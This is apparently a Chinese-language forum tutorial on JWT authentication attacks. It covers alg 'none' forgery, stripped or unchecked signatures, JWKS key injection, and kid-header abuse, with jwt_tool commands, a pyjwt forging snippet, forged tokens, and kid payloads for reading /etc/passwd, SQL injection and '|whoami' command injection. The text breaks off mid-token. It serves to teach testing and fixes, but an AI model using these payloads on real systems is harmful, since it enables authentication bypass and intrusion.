標題:JWT認證攻擊詳解總結

taibeihacker

Moderator

0x01 JWT基础知识​

1.JWT簡介JWT全稱為JSON Web Token,將json對像作為載體來傳輸信息。通常用於身份認證和信息交換。 JWT 可以使用密鑰(HMAC 算法)或使用RSA 或ECDSA 的公鑰/私鑰對自身進行簽名2.JWT格式每當用戶訪問站點中的資源時,對應的請求頭認證默認為Authorization: jwt,JTW令牌認證以eyJ開頭JWT的數據頭部如下:JWT的數據分為三部分:頭部(Header),有效載荷(Payload),簽名(Signature)三個部分以英文句號.隔開,JWT的內容以Base64URL進行了編碼下面就是一個具體token的例子: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwT xGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw(1) 頭部頭部中包含了JWT配置方面的信息,例如簽名算法(alg),令牌類型(JWT)和,加密算法(alg)或者算法使用的密鑰文件(當服務器需要多個密鑰文件時使用)。 Header: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQbase64解碼:{'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851','typ':'JWT','alg':'RS256'}其中令牌認證類型為JWT,加密算法為RS256
1049983-20220916123519516-1424576923.png
(2)有效載荷有效載荷用於存儲用戶的數據,如用戶名(test123)Payload: eyJzdWIiOiJkdWJoZTEyMyJ9
1049983-20220916123520385-1736997454.png
(3)簽名Signature 需要使用編碼後的header 和payload 以及我們提供的一個密鑰,然後使用header 中指定的簽名算法通常是RS256(RSA非對稱加密和私鑰簽名)和HS256(HMAC SHA256對稱加密)算法進行簽名。簽名的作用是保證JWT 沒有被篡改過下面是一個用HS256生成Jw=WT的代碼例子
HMACSHA256(base64Encode(header) + '.' + base64urlEncode(payload),secret)Signature:XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnz h0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw

0x02 JWT常见安全问题​

1.簽名算法可被修改為none(CVE-2015-9235)JWT支持將算法設定為“None”。如果“alg”字段設為“ None”,那麼簽名會被置空,這樣任何token都是有效的方式一:原有payload的數據不被改變基礎上而進行未校驗簽名算法eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2Vt cGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBghttps://jwt.io/
1049983-20220916123521073-793208072.png
使用jwt_too進行攻擊(該工具適用於不改變原有payload的數據的基礎上而沒有簽名算法獲得的token)python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg -X a
1049983-20220916123521843-1665599597.png
得到簽名算法為none認證的tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.
1049983-20220916123522695-1778378491.png
使用得到的token 進行認證請求http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
1049983-20220916123523342-678376506.png
1049983-20220916123523986-1274191903.png
方式二:原有payload的數據被改變基礎上而進行沒校驗簽名算法使用python3的pyjwt模塊,修改payload中的數據,利用簽名算法none漏洞,重新生成令牌
import jwt
encoded=jwt.encode({'iss': 'https://demo.sjoerdlangkemper.nl/','iat': 1662737965,'exp': 1662739165,'data': {'hello': 'admin' }}, '', algorithm='none')
encoded
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.'
1049983-20220916123524613-991811863.png
得到的toekn:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.修復方案:JWT 配置應該只指定所需的簽名算法2.未校驗簽名某些服務端並未校驗JWT簽名,可以嘗試修改payload後然後直接請求token或者直接刪除signature再次請求查看其是否還有效。通過在線工具jwt.io修改payload數據
1049983-20220916123525345-938125840.png

然後得到的token進行認證請求eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ.Sv4QGoIbSQSP7Yeha2Qbhk10za6z42Uq dZuv1IUmPnU或者刪除signature,再次請求toekn認證:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ.修復方案:JWT 配置應該只指定所需的簽名算法3.JWKS公鑰注入——偽造密鑰(CVE-2018-0114)創建一個新的RSA 證書對,注入一個JWKS 文件,攻擊者可以使用新的私鑰對令牌進行簽名,將公鑰包含在令牌中,然後讓服務使用該密鑰來驗證令牌攻擊者可以通過以下方法來偽造JWT:刪除原始簽名,向標頭添加新的公鑰,然後使用與該公鑰關聯的私鑰進行簽名。 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
1049983-20220916123526020-238379918.png
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X i
1049983-20220916123526846-967137625.png

得到的token認證:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJqd3RfdG9vbCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjFQZDNGTXBFUVM0SU15WjJ4Tlh5UEJrdnRCWnBEZG8wakFGTEtwemdfSEM1ZE1vU3ZRR1pDWVpwZlJpMlpaTDZoUkNFNW9DUWRHeGd0MzZQZ VV2MERhTG8zLVJacGtzcFhpT3QzWU00RDU3SDdvQllEWVExcFh1dHNBRzliaXJ6SENGM2l0alg1S0Zha2ljTkw5cGsySnloRDRTU1BoOUVQMkNQVHExMV9sV1o1N1ZacGFMdDJxLXB1THQ3SWNSYnhmbEhlaUZxRTlUSUtnRW1scExBVjBRajFiWEk3bVhMZEQxT0NyS2w0SDdqbEFlWG5LY0xQTEJnb2Y4RzBTeXRGSU1PN1 BvQVpUZUVHVHJiZmktNlZKNGNrcUNfdjJYQUR1WHBTSU5mOFBrbXZXckdjTk1XaEEwVXZvcVJCdnFHR0ZBWnBRT2dhR1VUVktvdzJOTXllUSJ9fQ.eyJsb2dpbiI6InRpY2FycGkifQ.JGqsWHbZaas_4DAfbtkK-DOBpueDrWw3tZuBonKUleIoa_Ll6yMrwzvJ0RjqMH2hIlhKrixTce7RtJPiqEJAHv_5eMF5G3qkU2jDb M6Un19dlTRTBfCh3FIKMrkh1P-CUUw7AXO2cae1GWNvGK74d3VNulgBK5Qy4uZryrzJUO-7Dx5vHUfV3eJ8J-FRRFqDO_DYAjB7cbWHuB4RHcUkIwJ9Fz3ze5JIKMXrcmZIEvCssUxjaYIb7Rpm-lI34yWSQbOGA82glkt4xqjulZZqF7Eysu1Q3JNUqPiD24T1zrE7CHm3btpBzW4CSRPrs8z5E-GUgZApH_vodp3mLxa9tA
1049983-20220916123527631-113830237.png

修復方案:JWT 配置應明確定義接受哪些公鑰進行驗證4.空簽名(CVE-2020-28042)從令牌末尾刪除簽名python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X n得到的token認證:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.
1049983-20220916123528294-7609962.png
修復方案:JWT 庫應該針對這個問題進行修補4.敏感信息洩露JWT的header頭base64解碼可洩露敏感數據如密鑰文件或者密碼或者註入漏洞eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
1049983-20220916123528950-1105199477.png
base64解碼:{'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851','typ':'JWT','alg':'RS256'}其中認證類型為JWT,加密算法為RS256,kid指定加密算法的密鑰,密鑰KID的路徑為:keys/3c3c2ea1c3f113f649dc9389dd71b851k,則在Web 根目錄中查找/key/3c3c2ea1c3f113f649dc9389dd71b851k 和/key/3c3c2ea1c3f113f649dc9389dd71b851k.pem5.KID參數漏洞(1)任意文件讀取密鑰ID (kid) 是一個可選header,是字符串類型,用於表示文件系統或數據庫中存在的特定密鑰,然後使用其內容來驗證簽名。如果有多個用於簽署令牌的密鑰,則此參數很有幫助,但如果它是可注入的,則可能很危險,因為攻擊者可以指向內容可預測的特定文件。 kid參數用於讀取密鑰文件,但係統並不會知道用戶想要讀取的到底是不是密鑰文件,所以,如果在沒有對參數進行過濾的前提下,攻擊者是可以讀取到系統的任意文件的。 { 'typ': 'JWT', 'kid': '/etc/passwd', 'alg': 'HS256'}
1049983-20220916123529660-1186024994.png
得到的token:eyJ0eXAiOiJKV1QiLCJraWQiOiIvZXRjL3Bhc3N3ZCIsImFsZyI6IkhTMjU2In0.eyJsb2dpbiI6InRpY2FycGkifQ.CPsfiq-_MnwM7dF6ZZhWPl2IbKgF447Iw6_EgRp6PFQ注意:在linux系統中/dev/null被稱為空設備文件,並且總是不返回任何內容,可繞過進行任意文件讀取python3 jwt_tool.py JWT -I -hc kid -hv '././dev/null' -S hs256 -pc login -pv'ticarpi'參數說明:-I 對當前聲明進行注入或更新內容,-hc kid 設置現有header 中kid,-hv 設置其值為'././dev/null',-pc 設置payload 的申明變量名如:login,-pv 設置申明變量login的值為'ticarpi'或者可以使用Web 根目錄中存在的任何文件,例如CSS 或JS,並使用其內容來驗證簽名。
python3 jwt_tool.py -I -hc Kid -hv '路徑/of/the/file' -S hs256 -p '文件內容'(2)SQL注入kid也可以從數據庫中提取數據,這時候就有可能造成SQL注入攻擊,通過構造SQL語句來獲取數據或者是繞過signature的驗證{ 'typ': 'JWT', 'kid': 'key11111111' || union select 'secretkey' --', 'alg': 'HS256'}
1049983-20220916123530387-285963548.png
得到的token:eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXkxMTExMTExMScgfHwgdW5pb24gc2VsZWN0ICdzZWNyZXRrZXknIC0tIiwiYWxnIjoiSFMyNTYifQ.eyJsb2dpbiI6InRpY2FycGkifQ.I2oD_v7UvBIqilLcyuqP_HDY28yp1IFZeTs90fk-Tdc(3) 命令注入對kid參數過濾不嚴也可能會出現命令注入問題,但是利用條件比較苛刻。如果服務器後端使用的是Ruby,在讀取密鑰文件時使用了open函數,通過構造參數就可能造成命令注入。 { 'typ': 'JWT', 'kid': 'keys/3c3c2ea1c3f113f649dc9389dd71b851k|whoami', 'alg': 'HS256'}
1049983-20220916123531118-752371774.png
得到的token:eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxa3x3aG9hbWkiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI
 
返回
上方